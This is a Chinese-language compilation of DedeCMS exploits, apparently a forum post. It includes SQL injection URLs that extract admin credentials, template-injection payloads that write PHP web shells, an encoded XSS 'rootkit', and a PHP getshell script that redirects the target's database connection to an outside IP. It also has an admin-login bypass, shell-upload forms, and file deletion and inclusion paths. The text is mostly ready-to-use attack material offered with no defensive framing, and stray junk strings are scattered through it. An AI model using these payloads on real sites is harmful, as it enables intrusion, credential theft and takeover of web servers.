dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
$ V4 L* l8 F$ t0 m+ nhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
  g% j& B7 O6 }- @% r

, W7 J5 e, D8 C* }$ K

! A+ M2 u$ A4 Z& @

; G$ U( m! E" i' o4 i% d/ Q

  `0 N+ n/ o# T1 K, hDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
( I2 l9 @! q1 M生成x.php 密码xiao，直接生成一句话。
5 O( ]( {1 F, t
, x% z  |. I4 {- P: B6 i

: K: v; A( L3 P. {: @1 [( z2 ?

7 P" `; S8 q) B; ?8 P
* ]5 M0 G4 O9 ]% p
0 C" h5 W/ }2 z0 y" K
Dede 5.6 GBK SQL注入漏洞
& I7 ?* o( x- N$ _" I0 E& [% qhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
& `" ^( m$ ~! r2 j, {% m, Rhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7




5 |7 }* ]9 d4 v* s6 ^! s" \


; [, Q# }1 L7 v$ X: m3 ^: ]
. X: Z8 g3 _1 `DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
# \* J+ z9 V) P1 h6 vhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
1 @& r* z6 I2 h) u( k8 G



, R3 C7 [' t9 G7 X4 L4 [4 N

DEDECMS 全版本 gotopage变量XSS漏洞
# X6 d6 d, N. l1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

' l) y1 i4 z7 d6 X2 P' Y% |
# u4 r3 ]4 Q& m: Q- e2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
) T* S! [( G& Fhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
: }1 i( Q& h% y
6 B- G* n3 d4 d% B8 v
http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
) O' ~/ x! S9 X  \7 ~9 t! z#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
0 }7 G0 Q- `. p* x  Q  H7 J' Iset_time_limit(0);
, e7 }* y9 n' H" W$ ~print_r('
DEDEcms Variable Coverage
2 B% Z/ m/ W6 V" W0 X6 b9 k$ bExploit Author: www.heixiaozi.comwww.webvul.com
* u; S1 q1 E+ q2 z);
9 _3 p1 |* C/ r8 lecho "\r\n";
& V* p, Y1 x3 }# Mif($argv[2]==null){
4 \  ]4 C- \' r2 z8 vprint_r('
+---------------------------------------------------------------------------+
3 a% q5 s- h0 h$ N! h. @Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
; c' v- ~: M& G- Y/ Q& l+---------------------------------------------------------------------------+
- V3 W% e$ O; B4 U5 v5 a');
0 Y; m' A: A& v8 q( S+ Vexit;
}
9 L$ D+ A) T$ B$ u' j' E6 Z$url=$argv[1];
! e5 q! @) ]5 B' W$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
' _; Y' K, O+ K" M& F& Hecho "
; j. H1 s$ H. @8 zExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
3 g' v; r/ F- V) ?; L0 |
3 T8 H, N$ q9 D1 V/ ^: e
5 x# l# B' {% ~6 p9 X$ F9 H; ~if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
- R. T) s$ d  C. {
5 d) i5 q2 D! b, z4 l/ ?
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

+ F" o) ?2 H6 M$ D, ]
# U) e' {9 a  y- f1 |}else{
echo "
Exploit Failed \n";
4 X4 Q0 Q# I7 y}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
1 U: Z4 L( Y/ D2 g$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
& x; X1 L. q4 M% N) i' V$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
' k. D* \/ n4 N4 m8 decho "
6 }) \3 b2 W0 k0 d7 {0 X9 ENo response from ".$host."\n";
}
fwrite($ock,$data);
, n8 @1 ?! T7 f0 p4 K) Cwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
4 l& c' ?4 Y+ T" |. ~; ?return $exp;
}
' d, c3 M0 X0 [' ~" U- U& ]- v}


" G) X1 ]& @0 c& a?>
) P( Z: c* X. y
; K- |6 Y+ }: Y$ d
0 ?- s% ~1 n+ K4 F  J



+ j2 q! S; @7 `. z' x3 ]) z; N4 l
* m& y. P' g% i! `' ~4 h% n
7 K- U! V5 f: p# S) R' Q

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
2 \/ g. k! E  I; a5 whttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


- k9 S5 ~% l4 R" o4 y1 [) {把上面validate=dcug改为当前的验证码，即可直接进入网站后台


6 I) K# V# _. ^+ u此漏洞的前提是必须得到后台路径才能实现

3 K- o5 T, m. }+ [
4 W- b# J! _% v) v

* x, l! b  L$ ~' ~) q* t3 J& J& A
& O. M8 y, n$ m5 B( C
5 ~/ Z% C8 |4 A" S& p0 T% x1 _

7 E8 T3 X' Y/ \

$ F/ N+ U' H9 z- y0 Q5 ODedecms织梦 标签远程文件写入漏洞
7 o- r& }6 t& ]前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
) d3 m- w& r- a7 t% U

; \; ]- A, ]0 \+ J再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
) q) T- u! ^) C<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
: d0 t. \1 d- j* i9 V2 B: L<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
  {) j4 o4 O4 |  L, v% ^<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
9 R/ Z/ k/ U( W: O+ e; b</script>

4 V: [+ ]9 R' v$ f# v" X# [+ N2 O# Q

/ B. T' {6 g1 B$ z, \) I
: ^/ D8 B7 [2 F( E" r7 j0 n

5 }. B) {5 R  D. p" y
2 f' H( i& `6 Q* J- n

) V! z$ y8 H) {4 i! u8 `- c
: `3 |+ O: p. C" J; r( j2 i6 U$ T4 m# wDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
- x" B( n$ g" f8 F* w" ta{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
0 |$ n5 h. N# x- a8 P& X! m- i2 puploads/userup/2/12OMX04-15A.jpg
7 Q6 I/ h7 F2 n& h1 e2 H- y

模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
# p; \' C5 @: Z8 h, E% G* e$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
/ [9 f8 p. m. ~' K@fclose($fp);
1 y7 P1 O, ]# b) b- Z8 A{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
: T5 O. N3 H3 W& H<input type="hidden" name="dopost" value="save" />
" u1 R6 j3 W5 A3 u<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

; _' `8 I( u) J8 U0 I
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
( w# a, ~! W  A( N& I/ D0 E
7 o: D. m' I( |4 i. G2 R; M
<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
7 k! q& R( ?  ]0 g
  G$ |( k% q. t) K
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
& g1 l4 ~9 X; A- g8 e
# I1 Z$ Q6 J9 o" s2 ]% e7 p+ G
<label>隶属栏目：</label>
! t0 x4 e* g) ^8 {5 L/ _<select name='typeid' size='1'>
5 F0 D. m' A; q# l* s: L+ M<option value='1' class='option3' selected=''>测试栏目</option>
7 n6 W' y! ^' T8 p# |! H3 D</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
1 c# R$ h& l! r% j6 T
: i" V/ _+ o4 m4 n7 _8 i" i$ g
<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
" @3 u2 n4 @' t3 V  s# r7 g' g% s<option value='1' class='option3' selected>hahahha</option>
</select>
: ?0 U3 M! n# A6 a- C* V
( t2 S3 S+ t. i/ m
- E" e: l: s3 {- ?  E$ }/ R<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
" ?; _* \- B4 f6 |% B(内容的简要说明)


# V3 u  D; U9 u$ y) g- i" @, r<label>缩略图：</label>
9 L0 e9 V4 ]/ n) `% m<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

( o" m) T* l( C, u# w
/ Y9 b0 p3 ?) Q5 A. R<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
" a/ M; O" j3 G9 g0 L% R# x<input type='text' name='dede_addonfields'
8 b2 v  t2 b: c: X: F1 `$ bvalue="templet,htmltext;">（这里构造）
</div>

9 q& M7 _2 I& D  Y; z6 w+ @' |9 S
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
4 {  D* C  Y3 c

<div class="contentShow postForm">
. Y# V3 [1 U, b0 t% r<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
/ k# |5 h5 U2 h8 b  g7 ]4 F% g
/ ]( s* K$ [* j* @) {
/ Y; w- c) u* _" T0 ?9 {<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>
9 I( g# j3 U6 P

% I; L' P! z, u  F  `/ ], a</div>
) y! X) h3 c% [" k: d  {" V

- i4 J9 _- E5 k' r4 a</form>
! I* s1 }6 ~6 z$ q- k! x

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
6 m  E/ X/ W! }. J, Ehttp://127.0.0.1/dede/plus/view.php?aid=2
' M/ r& g0 |$ d$ p0 E即可以在plus目录下生成webshell：1.php


0 T! j' e& h% `' T: f. Y


4 P' a9 x" u& R/ W* r6 G8 u- N

9 f" j1 p: x: ]
( W$ D5 Q* Q# R5 X  f
  g* y- I7 W/ R* j
# P$ b! O" e' _7 \0 y8 _- b" ^

- X' x# m. @6 H$ x2 w2 @/ r6 zDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
+ ?8 g$ M* h) g' h% ?: n: i% J6 AGif89a{dede:field name='toby57' runphp='yes'}
4 W  c% G4 m: T2 _0 ~: i' n0 }phpinfo();
{/dede:field}
  O4 u1 |8 _4 K保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
5 `; A/ O5 P. t/ N' X" e, s1 {<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
/ b, q5 L" q. p+ u9 `8 g" A: p<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
* R0 m, u& z6 S5 n# x0 J<button class="button2" type="submit" >更改</button>
</form>
" g2 X5 q" @) c. M% v
. x9 a# ^% i6 o# J- ^& U
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
& `6 Z$ `$ f+ h, K+ J4 p. M, \% c! a发表文章，然后构造修改表单如下：
9 W$ ]  N3 o0 {. H  j. X

7 e2 T% [- I; [; {0 e6 q9 S0 e<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
( }4 i4 b1 G6 \% v/ u6 b0 J1 k# K0 [<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
$ u% x  z! I; L* m( w1 R<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
8 P4 C; Q" d0 m* x8 d+ a2 u<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
/ [8 j9 F2 K4 l<option value='1' class='option3' selected=''>Test</option>
* U! E3 R% ^) l4 m5 r* v; o<select name='mtypesid' size='1'>
( b* f8 E0 |4 g<option value='0' selected>请选择分类...</option>
, ^' o' I! p$ I( a) q. Z& C- ^<option value='1' class='option3' selected>aa</option></select>
- Z8 }% h: h$ U6 f<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
* a+ H6 \4 o6 [) p2 J' P( H<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
/ e! n$ v8 q% @. ~& W2 G9 C# @; U</form>
7 U  ]1 }8 n! l" V1 D* A2 X5 t
9 l+ G) v7 v8 m8 c, X0 V! J

' G0 l) f4 ~% f- x
$ O8 x/ q/ ~5 x/ ?2 \1 m* N
% a: s2 z1 F7 ~/ u


+ h( v) q, E! e5 s0 m! [+ L
( h. L: |) O- ]* Z' s
. n; X8 B% l) C. O) I/ L  a1 ?9 ]2 s
6 n- c* J. B$ A; v( W
) P$ t; J6 t2 G织梦(Dedecms)V5.6 远程文件删除漏洞
% v7 S- v; {# y' M+ V3 R- V% @http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

7 X: [1 P! h" y+ \7 m' B3 l: J
5 |0 u0 Y) q3 N3 T+ j
* V$ e" b/ L! y) E

# k. ?& }# N. q" y

7 H: m, c- k5 a4 g, Q+ _* z
; o& |; t: [- C
7 |3 I) U- J5 P( |/ D& ~
* l4 X) t( q4 K织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

8 a: |1 Y3 @- ~# C







$ ^) `$ ]8 b1 z" y
; Y& K/ R! z+ S7 hDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
2 q* ?2 @: ^3 o* J6 j3 W: _密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

4 y* M( e! z# ?  ^4 p3 G$ H; C2 E, P
. N: `& M$ g9 k" C* t9 {' N
0 L" H5 w4 S' u# @3 _/ ^1 \1 R6 V1 |
# P) x: K) \2 F

- e$ ?- y) M3 W- \/ ?0 F) f


2 L8 j5 t0 E7 Y5 [' m% R
" r" m0 z! f+ ^" i) D- x织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
: m3 ~) @  U1 V+ _+ }3 ?http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
: `9 Y( h. z0 p7 `. R, E. v+ c
3 M0 J% f) m5 y9 m5 d



8 o* c* _4 ^( ]+ \& s( i
3 Q7 `6 k2 U9 M% p' K( B9 {
/ I! _" ~: {  r. Q


5 B/ O4 ^1 n5 ]$ U8 m. N% |织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
2 X& F4 U$ J- F9 U- q) t<html>
<head>
' d" ~/ |8 e; o! ]+ }; o7 D, m<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
% R) C. V1 [# E/ U& r" @</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
3 C2 d8 O* S* d% N4 r<input type='hidden' name='activepath' value='/data/cache/' />
0 {8 I( l: i  J! {, P* v<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
7 f/ ]$ y3 A* _0 [) c<input type='hidden' name='cfg_softtype' value='php' />
: `  |8 y# D2 Y" `3 t. g<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
5 G$ E1 _. z" x9 G, a  o<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
/ _( E) |3 z9 T# u2 gSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
# y1 U7 a, z5 D9 \+ \7 b: F5 [2 f</form>
* C: [( e0 d1 W8 j2 V6 G6 d- D<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
) `, P: R2 L8 ?* r- I+ K</body>
2 O9 Z; W* x) G$ e+ e  r# E</html>


2 [: M( h3 l8 o) j- e, E* @
6 d- h  C/ o" I

% u6 J' @% b- ?; X9 b8 g8 c, [
4 }$ r, {. C* S! B3 V- e$ p# J! v
* ?3 k  T" b: L$ W5 q+ v
, d  A& F  P; i6 {* S+ E

9 I* x$ k/ ]6 m) h3 ]织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
+ K5 n! Z6 V! U! k/ Q7 ]& d+ w/ ahttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
& C/ ~' ]* x8 e/ j7 c0 ~
/ r- B$ [9 T, m# p* p
3 ^7 i4 h: N: E) V9 U& }2 z& n2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
$ P; q' S2 p0 E
2 g- x# x3 s6 u4 M/ {% B3 p4 N
, i7 L$ E, I/ m. c3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

# B2 p! M$ {$ o* e' T' v! S% J
9 w; B+ v4 f! g/ N: x<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
6 _; R; [0 C3 R9 A4 u
. S; p: O2 ~9 `2 s, I
1 i9 o0 [( z( D按确定后的看到第2步骤的信息表示文件木马上传成功.

" Q4 L4 K" I! Q* G



5 ^* t' L6 ^0 k* n  A* \6 d



2 r7 G& P9 |( c, H


  G8 A" h9 `  W1 k1 `! }- m% C) S6 D织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*